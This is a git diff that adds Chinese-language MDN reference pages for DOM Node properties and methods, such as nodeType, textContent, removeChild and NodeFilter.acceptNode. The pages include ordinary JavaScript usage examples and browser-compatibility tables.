Node.ATTRIBUTE_NODE2{{domxref("Element","元素")}} 的耦合{{domxref("Attr", "属性")}} 。在 {{SpecName("DOM4")}} 规范里{{domxref("Node")}} 接口将不再实现这个元素属性。
Node.ENTITY_REFERENCE_NODE5一个 XML 实体引用节点。 在 {{SpecName("DOM4")}} 规范里被移除。
Node.ENTITY_NODE6一个 XML <!ENTITY ...>  节点。 在 {{SpecName("DOM4")}} 规范中被移除。
Node.NOTATION_NODE12一个 XML <!NOTATION ...> 节点。 在 {{SpecName("DOM4")}} 规范里被移除.
+ +

例子

+ +

不同的节点类型

+ +
document.nodeType === Node.DOCUMENT_NODE; // true
+document.doctype.nodeType === Node.DOCUMENT_TYPE_NODE; // true
+
+var fragment = document.createDocumentFragment();
+fragment.nodeType === Node.DOCUMENT_FRAGMENT_NODE; // true
+
+var p = document.createElement("p");
+p.textContent = "很久很久以前...";
+
+p.nodeType === Node.ELEMENT_NODE; // true
+p.firstChild.nodeType === Node.TEXT_NODE; // true
+
+ +

注释

+ +

该示例会检查 document 下第一个节点是不是注释,如果不是,则会提醒。

+ +
var node = document.documentElement.firstChild;
+if (node.nodeType != Node.COMMENT_NODE)
+  console.log("你应该认真编写代码注释!");
+
+ +

标准

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
标准状态注释
{{SpecName('DOM WHATWG', '#dom-node-nodetype', 'Node.nodeType')}}{{Spec2('DOM WHATWG')}}弃用了 ATTRIBUTE_NODE , ENTITY_REFERENCE_NODENOTATION_NODE 类型。
{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node.nodeType')}}{{Spec2('DOM3 Core')}}无修改。
{{SpecName('DOM2 Core', 'core.html#ID-111237558', 'Node.nodeType')}}{{Spec2('DOM2 Core')}}无修改。
{{SpecName('DOM1', 'level-one-core.html#ID-111237558', 'Node.nodeType')}}{{Spec2('DOM1')}}最初的定义。
diff --git a/files/zh-cn/web/api/node/nodevalue/index.html b/files/zh-cn/web/api/node/nodevalue/index.html new file mode 100644 index 0000000000..7f09ffc4f4 --- /dev/null +++ b/files/zh-cn/web/api/node/nodevalue/index.html @@ -0,0 +1,111 @@ +--- +title: Node.nodeValue +slug: Web/API/Node/nodeValue +tags: + - API + - DOM + - Node + - Property +translation_of: Web/API/Node/nodeValue +--- +

{{APIRef("DOM")}}

+ +

{{domxref("Node")}} 的 nodeValue 属性返回或设置当前节点的值。

+ +

语法

+ +
str = node.nodeValue;
+node.nodeValue = str;
+
+ +

value是一个包含当前节点的值的字符串(如果有的话)。

+ +

+ +

对于文档节点来说, nodeValue返回null. 对于text, comment, 和 CDATA 节点来说, nodeValue返回该节点的文本内容. 对于 attribute 节点来说, 返回该属性的属性值.

+ +

下表就是不同类型的节点所返回的该属性的值.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NodeValue of nodeValue
{{domxref("CDATASection")}}CDATA的文本内容
{{domxref("Comment")}}注释的文本内容
{{domxref("Document")}}null
{{domxref("DocumentFragment")}}null
{{domxref("DocumentType")}}null
{{domxref("Element")}}null
{{domxref("NamedNodeMap")}}null
{{domxref("EntityReference")}}null
{{domxref("Notation")}}null
{{domxref("ProcessingInstruction")}}整个标签的文本内容
{{domxref("Text")}}文本节点的内容
+ +

如果nodeValue的值为null,则对它赋值也不会有任何效果.

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-node-nodevalue", "Node: nodeValue")}}{{Spec2("DOM WHATWG")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Node.nodeValue")}}

diff --git a/files/zh-cn/web/api/node/normalize/index.html b/files/zh-cn/web/api/node/normalize/index.html new file mode 100644 index 0000000000..ecdd1ac0c0 --- /dev/null +++ b/files/zh-cn/web/api/node/normalize/index.html @@ -0,0 +1,73 @@ +--- +title: Node.normalize() +slug: Web/API/Node/normalize +tags: + - API + - Method + - Node +translation_of: Web/API/Node/normalize +--- +
{{APIRef("DOM")}}
+ +

Node.normalize() 方法将当前节点和它的后代节点”规范化“(normalized)。在一个"规范化"后的DOM树中,不存在一个空的文本节点,或者两个相邻的文本节点。

+ +

注1:“空的文本节点”并不包括空白字符(空格,换行等)构成的文本节点。

+ +

注2:两个以上相邻文本节点的产生原因包括:

+ +
    +
  1. 通过脚本调用有关的DOM接口进行了文本节点的插入和分割等。
  2. +
  3. HTML中超长的文本节点会被浏览器自动分割为多个相邻文本节点。
  4. +
+ +

语法

+ +
element.normalize();
+
+ +

例子

+ +
var wrapper = document.createElement("div");
+
+wrapper.appendChild(document.createTextNode("Part 1 "));
+wrapper.appendChild(document.createTextNode("Part 2 "));
+
+// 这时(规范化之前),wrapper.childNodes.length === 2
+// wrapper.childNodes[0].textContent === "Part 1 "
+// wrapper.childNodes[1].textContent === "Part 2 "
+
+wrapper.normalize();
+// 现在(规范化之后), wrapper.childNodes.length === 1
+// wrapper.childNodes[0].textContent === "Part 1 Part 2"
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-node-normalize", "Node: normalize")}}{{Spec2("DOM WHATWG")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Node.normalize")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/node/outertext/index.html b/files/zh-cn/web/api/node/outertext/index.html new file mode 100644 index 0000000000..7465286034 --- /dev/null +++ b/files/zh-cn/web/api/node/outertext/index.html @@ -0,0 +1,8 @@ +--- +title: Node.outerText +slug: Web/API/Node/outerText +tags: + - Node.outerText +translation_of: Web/API/HTMLElement/outerText +--- +

请参阅 {{domxref("HTMLElement.outerText")}}

diff --git a/files/zh-cn/web/api/node/ownerdocument/index.html b/files/zh-cn/web/api/node/ownerdocument/index.html new file mode 100644 index 0000000000..f1af625761 --- /dev/null +++ b/files/zh-cn/web/api/node/ownerdocument/index.html @@ -0,0 +1,115 @@ +--- +title: Node.ownerDocument +slug: Web/API/Node/ownerDocument +tags: + - API + - DOM + - Gecko + - Property + - 属性 +translation_of: Web/API/Node/ownerDocument +--- +
{{ APIRef("DOM")}}
+ +

Node.ownerDocument 只读属性会返回当前节点的顶层的 document 对象。

+ +

语法

+ +
document = node.ownerDocument
+
+ + + +

例子

+ +
// 得到p元素所在文档的HTML节点
+d = p.ownerDocument;
+html = d.documentElement;
+
+ +

注意

+ +

被此属性返回的 document 对象是在实际的HTML文档中的所有子节点所属的主对象。如果在文档节点自身上使用此属性,则结果是null

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}}{{Spec2("DOM4")}} 
{{SpecName("DOM3 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}{{Spec2("DOM3 Core")}}No change
{{SpecName("DOM2 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}{{Spec2("DOM2 Core")}}Initial definition
+ +

浏览器兼容性

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}[1]6.0[2]{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}[1]{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] 从 Gecko 9.0 {{ geckoRelease("9.0") }} 开始, 一个由脚本生成的DocumentType类型的节点(节点类型{{ domxref("Node.nodeType") }}的值为 Node.DOCUMENT_TYPE_NODE 也就是 10)的ownerDocument属性的值不再是null. 而是调用document.implementation.createDocumentType() 方法创建该节点的文档节点.

+ +

[2] http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx

diff --git a/files/zh-cn/web/api/node/parentelement/index.html b/files/zh-cn/web/api/node/parentelement/index.html new file mode 100644 index 0000000000..6472201fe4 --- /dev/null +++ b/files/zh-cn/web/api/node/parentelement/index.html @@ -0,0 +1,42 @@ +--- +title: Node.parentElement +slug: Web/API/Node/parentElement +translation_of: Web/API/Node/parentElement +--- +

{{ ApiRef() }}

+ +

返回当前节点的父元素节点,如果该元素没有父节点,或者父节点不是一个 DOM {{domxref("Element", "元素")}},则返回 null

+ +

语法

+ +
parentElement = node.parentElement
+ +

parentElement 是当前节点的父元素。它永远是一个 DOM {{domxref("Element", "元素")}} 对象,或者 null

+ +

例子

+ +
if (node.parentElement) {
+    node.parentElement.style.color = "red";
+}
+ +

浏览器兼容性

+ +

在一些浏览器上,parentElement 属性只对自身为 {{domxref("Element")}} 的节点定义,也就是说,对文本节点不定义。

+ +
+ + +

{{Compat("api.Node.parentElement")}}

+
+ +

规范

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/node/parentnode/index.html b/files/zh-cn/web/api/node/parentnode/index.html new file mode 100644 index 0000000000..300f53747f --- /dev/null +++ b/files/zh-cn/web/api/node/parentnode/index.html @@ -0,0 +1,72 @@ +--- +title: Node.parentNode +slug: Web/API/Node/parentNode +translation_of: Web/API/Node/parentNode +--- +

{{ ApiRef() }}

+

概述

+

返回指定的节点在DOM树中的父节点.

+

语法

+
parentNode = node.parentNode
+
+

parentNode是指定节点的父节点.一个元素节点的父节点可能是一个元素(Element )节点,也可能是一个文档(Document )节点,或者是个文档碎片(DocumentFragment)节点.

+

例子

+
if (node.parentNode) {
+  // 从DOM树中删除node节点,除非它已经被删除了.
+  node.parentNode.removeChild(node);
+}
+
+

备注

+

对于下面的节点类型: Attr, Document, DocumentFragment, Entity, Notation,其parentNode属性返回null.

+

如果当前节点刚刚被建立,还没有被插入到DOM树中,则该节点的parentNode属性也返回null.

+

相关链接

+

{{ Domxref("element.firstChild") }}, {{ Domxref("element.lastChild") }}, {{ Domxref("element.childNodes") }}, {{ Domxref("element.nextSibling") }}, {{ Domxref("element.previousSibling") }}.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{ CompatGeckoDesktop("1") }}0.2{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("1") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+

规范

+

DOM Level 2 Core: Node.parentNode

+

{{ languages( { "it": "it/DOM/element.parentNode", "ja": "ja/DOM/element.parentNode", "fr": "fr/DOM/element.parentNode", "pl": "pl/DOM/element.parentNode" , "en": "en/DOM/Node.parentNode" } ) }}

diff --git a/files/zh-cn/web/api/node/prefix/index.html b/files/zh-cn/web/api/node/prefix/index.html new file mode 100644 index 0000000000..6883a89050 --- /dev/null +++ b/files/zh-cn/web/api/node/prefix/index.html @@ -0,0 +1,76 @@ +--- +title: Node.prefix +slug: Web/API/Node/prefix +translation_of: Web/API/Node/prefix +--- +
+ {{ApiRef}}
+

概述

+

prefix属性会返回当前节点的命名空间前缀,如果没有指定命名空间前缀,则返回null,该属性只读.

+

语法

+
string = element.prefix
+
+

示例

+

下面的代码将弹出"x".

+
<x:div onclick="alert(this.prefix)"/>
+
+

附注

+

该属性只在一个解析命名空间前缀的文档中可用,也就是说,只有在文档的MIME类型为XML,XHTML,XUL时可用,在HTML文档中不可用.

+

规范

+ +

浏览器兼容性

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}} +

{{CompatVersionUnknown}}

+

在Gecko 5.0 (Firefox 5.0 / Thunderbird 5.0 / SeaMonkey 2.2)之前,该属性是可写的; 之后,是只读的.

+
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}} +

{{CompatVersionUnknown}}

+

P在Gecko 5.0 (Firefox 5.0 / Thunderbird 5.0 / SeaMonkey 2.2)之前,该属性是可写的; 之后,是只读的.

+
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+

diff --git a/files/zh-cn/web/api/node/previoussibling/index.html b/files/zh-cn/web/api/node/previoussibling/index.html new file mode 100644 index 0000000000..b18cd049e4 --- /dev/null +++ b/files/zh-cn/web/api/node/previoussibling/index.html @@ -0,0 +1,42 @@ +--- +title: Node.previousSibling +slug: Web/API/Node/previousSibling +translation_of: Web/API/Node/previousSibling +--- +

{{ APIRef() }}

+ +

{{ languages( { "fr": "fr/DOM/element.previousSibling", "ja": "ja/DOM/element.previousSibling", "pl": "pl/DOM/element.previousSibling", "en": "en/DOM/Node.previousSibling" } ) }}

+ +

概述

+ +

返回当前节点的前一个兄弟节点,没有则返回null.

+ +

语法

+ +
previousNode = node.previousSibling
+
+ +

例子

+ +
// <a><b1 id="b1"/><b2 id="b2"/></a>
+alert(document.getElementById("b1").previousSibling); // null
+alert(document.getElementById("b2").previousSibling.id); // "b1"
+
+ +

备注

+ + + +

Gecko内核的浏览器会在源代码中标签内部有空白符的地方插入一个文本结点到文档中.因此,使用诸如 Node.firstChildNode.previousSibling 之类的方法可能会引用到一个空白符文本节点, 而不是使用者所预期得到的节点.

+ +

详情请参见 DOM 中的空白符W3C DOM 3 FAQ: 为什么一些文本节点是空的.

+ + + +

获取后一个兄弟节点,请使用Node.nextSibling.

+ +

规范

+ +

DOM Level 1 Core: previousSibling

+ +

DOM Level 2 Core: previousSibling

diff --git a/files/zh-cn/web/api/node/removechild/index.html b/files/zh-cn/web/api/node/removechild/index.html new file mode 100644 index 0000000000..77766b3fe4 --- /dev/null +++ b/files/zh-cn/web/api/node/removechild/index.html @@ -0,0 +1,97 @@ +--- +title: Node.removeChild +slug: Web/API/Node/removeChild +tags: + - Node.removeChild() +translation_of: Web/API/Node/removeChild +--- +
{{APIRef("DOM")}}
+ +

Node.removeChild() 方法从DOM中删除一个子节点。返回删除的节点。

+ +

语法

+ +
let oldChild = node.removeChild(child);
+
+//OR
+
+element.removeChild(child);
+ + + +

被移除的这个子节点仍然存在于内存中,只是没有添加到当前文档的DOM树中,因此,你还可以把这个节点重新添加回文档中,当然,实现要用另外一个变量比如上例中的oldChild来保存这个节点的引用. 如果使用上述语法中的第二种方法, 即没有使用 oldChild 来保存对这个节点的引用, 则认为被移除的节点已经是无用的, 在短时间内将会被内存管理回收.

+ +

如果上例中的child节点不是node节点的子节点,则该方法会抛出异常.

+ +

示例

+ +
<!--Sample HTML code-->
+<div id="top" align="center"> </div>
+
+<script type="text/javascript">
+      var top = document.getElementById("top");
+      var nested = document.getElementById("nested");
+      var garbage = top.removeChild(nested);
+      //Test Case 2: the method throws the exception (2)
+</script>
+
+<!--Sample HTML code-->
+<div id="top" align="center">
+ <div id="nested"></div>
+</div>
+
+<script type="text/javascript">
+      var top = document.getElementById("top");
+      var nested = document.getElementById("nested");
+      var garbage = top.removeChild(nested);
+      // This first call remove correctly the node
+      garbage = top.removeChild(nested);
+      // Test Case 1: the method in the second call here, throws the exception (1)
+</script>
+ +
<!--示例HTML代码-->
+
+<div id="top" align="center">
+  <div id="nested"></div>
+</div>
+
+ +
// 先定位父节点,然后删除其子节点
+var d = document.getElementById("top");
+var d_nested = document.getElementById("nested");
+var throwawayNode = d.removeChild(d_nested);
+
+ +
// 无须定位父节点,通过parentNode属性直接删除自身
+var node = document.getElementById("nested");
+if (node.parentNode) {
+  node.parentNode.removeChild(node);
+}
+
+ +
// 移除一个元素节点的所有子节点
+var element = document.getElementById("top");
+while (element.firstChild) {
+  element.removeChild(element.firstChild);
+}
+
+ +

规范

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/node/replacechild/index.html b/files/zh-cn/web/api/node/replacechild/index.html new file mode 100644 index 0000000000..e346fcb0c2 --- /dev/null +++ b/files/zh-cn/web/api/node/replacechild/index.html @@ -0,0 +1,99 @@ +--- +title: Node.replaceChild() +slug: Web/API/Node/replaceChild +tags: + - API + - DOM + - Node + - 参考 + - 方法 +translation_of: Web/API/Node/replaceChild +--- +
{{APIRef("DOM")}}
+ +

Node.replaceChild() 方法用指定的节点替换当前节点的一个子节点,并返回被替换掉的节点。

+ +

语法

+ +
parentNode.replaceChild(newChild, oldChild);
+
+ +

参数

+ +
+
newChild
+
用来替换 oldChild 的新节点。如果该节点已经存在于 DOM 树中,则它首先会被从原始位置删除。
+
oldChild
+
被替换掉的原始节点。
+
+ + + +

返回值

+ +

The returned value is the replaced node. This is the same node as oldChild.

+ +

例子

+ +
// <div>
+//  <span id="childSpan">foo bar</span>
+// </div>
+
+// 创建一个空的span元素节点
+// 没有id,没有任何属性和内容
+var sp1 = document.createElement("span");
+
+// 添加一个id属性,值为'newSpan'
+sp1.setAttribute("id", "newSpan");
+
+// 创建一个文本节点
+var sp1_content = document.createTextNode("新的span元素的内容.");
+
+// 将文本节点插入到span元素中
+sp1.appendChild(sp1_content);
+
+// 获得被替换节点和其父节点的引用.
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// 用新的span元素sp1来替换掉sp2
+parentDiv.replaceChild(sp1, sp2);
+
+// 结果:
+// <div>
+//   <span id="newSpan">新的span元素的内容.</span>
+// </div>
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("DOM WHATWG", "#dom-node-replacechild", "Node: replaceChild")}}{{Spec2("DOM WHATWG")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Node.replaceChild")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/node/rootnode/index.html b/files/zh-cn/web/api/node/rootnode/index.html new file mode 100644 index 0000000000..1a72ff3cae --- /dev/null +++ b/files/zh-cn/web/api/node/rootnode/index.html @@ -0,0 +1,114 @@ +--- +title: Node.rootNode +slug: Web/API/Node/rootNode +tags: + - API + - DOM + - Node + - Property + - Reference + - rootNode +translation_of: Web/API/Node/getRootNode +--- +

{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}

+ +

Node.rootNode 是 {{domxref("Node")}} 的一个只读属性, 返回该节点所在 DOM 数的根节点(最高节点). 此属性是通过 {{domxref("Node.parentNode")}} 属性循环查找直到找到根节点.

+ +
+

注意: 由于某种原因, 此属性已经被 {{domxref("Node.getRootNode()")}} 方法替代.

+
+ +

语法

+ +
rootNode = node.rootNode;
+
+ +

 返回值

+ +

返回 {{domxref("Node")}} 对象.

+ +

样例

+ +

下面是输出body的根节点样例:

+ +
console.log(document.body.rootNode);
+ +

参考

+ +

Gecko内核的浏览器会在源代码中标签内部有空白符的地方插入一个文本结点到文档中.因此,使用诸如 + Node.firstChildNode.previousSibling 之类的方法可能会引用到一个空白符文本节点, + 而不是使用者所预期得到的节点.

+ +

详情请参见 DOM 中的空白符 + 和W3C DOM 3 FAQ: 为什么一些文本节点是空的.

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}[1]{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}
+
+ +

[1] 此属性已经废弃, 使用{{domxref("Node.getRootNode()")}} 方法替代.

+ +

规范

+ + + + + + + + + + + + + + + + +
规范样式备注
{{SpecName('DOM WHATWG', '#dom-node-rootnode', 'Node.rootNode')}}{{Spec2('DOM WHATWG')}}初始定义
diff --git a/files/zh-cn/web/api/node/setuserdata/index.html b/files/zh-cn/web/api/node/setuserdata/index.html new file mode 100644 index 0000000000..2729b79c50 --- /dev/null +++ b/files/zh-cn/web/api/node/setuserdata/index.html @@ -0,0 +1,103 @@ +--- +title: Node.setUserData() +slug: Web/API/Node/setUserData +translation_of: Web/API/Node/setUserData +--- +

{{ APIRef }}{{ obsolete_header() }}

+

The Node.setUserData() method allows a user to attach (or remove) data to an element, without needing to modify the DOM. Note that such data will not be preserved when imported via {{domxref("Node.importNode")}}, as with {{domxref("Node.cloneNode()")}} and {{domxref("Node.renameNode()")}} operations (though {{domxref("Node.adoptNode")}} does preserve the information), and equality tests in {{domxref("Node.isEqualNode()")}} do not consider user data in making the assessment.

+

This method offers the convenience of associating data with specific nodes without needing to alter the structure of a document and in a standard fashion, but it also means that extra steps may need to be taken if one wishes to serialize the information or include the information upon clone, import, or rename operations.

+
+

The Node.getUserData and {{domxref("Node.setUserData")}} methods are no longer available from Web content. {{domxref("Element.dataset")}} or WeakMap can be used instead.

+
+

Syntax

+
prevUserData = someNode.setUserData(userKey, userData, handler);
+

Parameters

+ +

Example

+
var d = document.implementation.createDocument('', 'test', null);
+d.documentElement.setUserData('key', 15, {handle:function (o, k, d, s, ds) {alert(o+'::'+k+'::'+d+'::'+s+'::'+ds)}}); // 2::key::15::[object Element]::[object Element]
+alert(d.documentElement.getUserData('key')); // 15
+var e = document.importNode(d.documentElement, true); // causes handler to be called
+alert(e.getUserData('key')); // null since user data is not copied
+
+

Specifications

+ + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Removed from the specification.
{{SpecName('DOM3 Core', 'core.html#Node3-setUserData', 'Node.setUserData()')}}{{Spec2('DOM3 Core')}}Initial definition.
+

Browser compatibility

+

{{CompatibilityTable}}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.
+ Removed in {{CompatGeckoDesktop("22.0")}} [1]
{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}Supported from {{CompatGeckoMobile("1.0")}} to {{CompatGeckoMobile("21.0")}}.
+ Removed in {{CompatGeckoMobile("22.0")}} [1]
{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
+
+

[1] The method is still available from chrome scripts.

+

See also

+ diff --git a/files/zh-cn/web/api/node/textcontent/index.html b/files/zh-cn/web/api/node/textcontent/index.html new file mode 100644 index 0000000000..1a2cd275e7 --- /dev/null +++ b/files/zh-cn/web/api/node/textcontent/index.html @@ -0,0 +1,145 @@ +--- +title: Node.textContent +slug: Web/API/Node/textContent +tags: + - Node.textContent + - innerHTML + - innerText + - 参考 +translation_of: Web/API/Node/textContent +--- +
{{APIRef("DOM")}}
+ +

{{domxref ("Node")}} 接口的 textContent 属性表示一个节点及其后代的文本内容。

+ +
+

注意: textContent 和 {{domxref("HTMLElement.innerText")}} 容易混淆,但这两个属性在重要方面有不同之处 。

+
+ +

语法

+ +
let text = someNode.textContent;
+someOtherNode.textContent = string;
+ +

返回值

+ +

一个字符串或 null.

+ +

描述

+ +

textContent 的值取决于具体情况:

+ + + +

在节点上设置 textContent 属性的话,会删除它的所有子节点,并替换为一个具有给定值的文本节点。

+ +

与 innerText 的区别

+ +

不要被 Node.textContent 和 {{domxref("HTMLElement.innerText")}} 的区别搞混了。虽然名字看起来很相似,但有重要的不同之处:

+ + + +

与 innerHTML 的区别

+ +

正如其名称,{{domxref("Element.innerHTML")}} 返回 HTML。通常,为了在元素中检索或写入文本,人们使用 innerHTML。但是,textContent 通常具有更好的性能,因为文本不会被解析为HTML。

+ +

此外,使用 textContent 可以防止 XSS 攻击

+ +

例子

+ +

给出这个 HTML 片段:

+ +
<div id="divA">This is <span>some</span> text!</div>
+ +

你可以使用 textContent 去获取该元素的文本内容:

+ +
let text = document.getElementById('divA').textContent;
+// The text variable is now: 'This is some text!'
+ +

或者设置元素的文字内容:

+ +
document.getElementById('divA').textContent = 'This text is different!';
+// The HTML for divA is now:
+// <div id="divA">This text is different!</div>
+ +

IE8 的替代方法

+ +
// Source: Eli Grey @ https://eligrey.com/blog/post/textcontent-in-ie8
+if (Object.defineProperty
+  && Object.getOwnPropertyDescriptor
+  && Object.getOwnPropertyDescriptor(Element.prototype, "textContent")
+  && !Object.getOwnPropertyDescriptor(Element.prototype, "textContent").get) {
+  (function() {
+    var innerText = Object.getOwnPropertyDescriptor(Element.prototype, "innerText");
+    Object.defineProperty(Element.prototype, "textContent",
+     // Passing innerText or innerText.get directly does not work,
+     // wrapper function is required.
+     {
+       get: function() {
+         return innerText.get.call(this);
+       },
+       set: function(s) {
+         return innerText.set.call(this, s);
+       }
+     }
+   );
+  })();
+}
+ +

浏览器兼容性

+ +

{{Compat("api.Node.textContent")}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}}{{Spec2('DOM WHATWG')}}No change vs. DOM4
{{SpecName('DOM4','#dom-node-textcontent','Node.textContent')}}{{Spec2('DOM4')}}
{{SpecName('DOM3 Core','core.html#Node3-textContent','Node.textContent')}}{{Spec2('DOM3 Core')}}Introduced
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/nodefilter/acceptnode/index.html b/files/zh-cn/web/api/nodefilter/acceptnode/index.html new file mode 100644 index 0000000000..9c6c1e2d69 --- /dev/null +++ b/files/zh-cn/web/api/nodefilter/acceptnode/index.html @@ -0,0 +1,160 @@ +--- +title: NodeFilter.acceptNode() +slug: Web/API/NodeFilter/acceptNode +translation_of: Web/API/NodeFilter/acceptNode +--- +
{{APIRef("DOM")}}
+ +

NodeFilter.acceptNode() 方法会返回一个无符号短整型,用于表明给出的 {{domxref("Node")}} 是否要被 {{ domxref("NodeIterator") }} 或 {{ domxref("TreeWalker") }} 的迭代算法所接受。该方法应由 NodeFilter 的使用者重写。可返回的值有:

+ + + + + + + + + + + + + + + + + + + + +
ConstantDescription
NodeFilter.FILTER_ACCEPT当一个节点应被接受时由 {{ domxref("NodeFilter.acceptNode()") }} 返回。
NodeFilter.FILTER_REJECT当一个节点应被拒绝时由 {{ domxref("NodeFilter.acceptNode()") }} 返回 。被拒绝访问节点的子节点无法通过{{ domxref("NodeIterator") }} 或 {{ domxref("TreeWalker") }} 对象访问。该值可认为是“越过该节点及其子节点” 。
NodeFilter.FILTER_SKIP当一个节点应被 {{ domxref("NodeIterator") }} 或 {{ domxref("TreeWalker") }} 对象越过时由 {{ domxref("NodeFilter.acceptNode()") }} 返回 。其子节点依然可被访问到。该值可认为是“越过该节点但不包括其子节点”。
+ +

该函数如需要TreeWalker访问节点则需返回 NodeFilter.FILTER_ACCEPT,如果需要忽略节点及其子节点则需返回NodeFilter.FILTER_REJECT,除此之外还可以返回 NodeFilter.FILTER_SKIP。

+ +

浏览器没有提供该方法的对象实现。如果用户需要,应实现一个包含acceptNode()方法的对象,用于 {{domxref("TreeWalker")}} 或 {{domxref("NodeIterator")}} 对象使用。

+ +

Syntax

+ +
result = nodeFilter.acceptNode(node)
+
+ +

Parameters

+ +
+
node
+
一个将被过滤器检查的 {{domxref("Node")}} 对象。
+
+ +

Example

+ +
var nodeIterator = document.createNodeIterator(
+  // 作为搜索起点的根节点
+  document.getElementById('someId'),
+
+  // 只需要文本节点
+  NodeFilter.SHOW_TEXT,
+
+  // 一个包含用于NodeFilter的accpetNode方法的对象
+    { acceptNode: function(node) {
+      // 一段用于判明是否需要解释、拒绝或越过节点的逻辑
+      // 在本例中,仅需要接受不包含空白内容的节点
+      if ( ! /^\s*$/.test(node.data) ) {
+        return NodeFilter.FILTER_ACCEPT;
+      }
+    }
+  },
+  false
+);
+
+// Show the content of every non-empty text node that is a child of root
+var node;
+
+while ((node = iterator.nextNode())) {
+  alert(node.data);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#nodeFilter', 'NodeFilter.acceptNode()')}}{{Spec2('DOM WHATWG')}}No change from {{SpecName('DOM2 Traversal_Range')}}
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeFilter', 'NodeFilter.acceptNode()')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8.1")}}9.09.03.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.8.1")}}{{CompatVersionUnknown}}9.03.0
+
+ +

See also

+ + + +
+
 
+
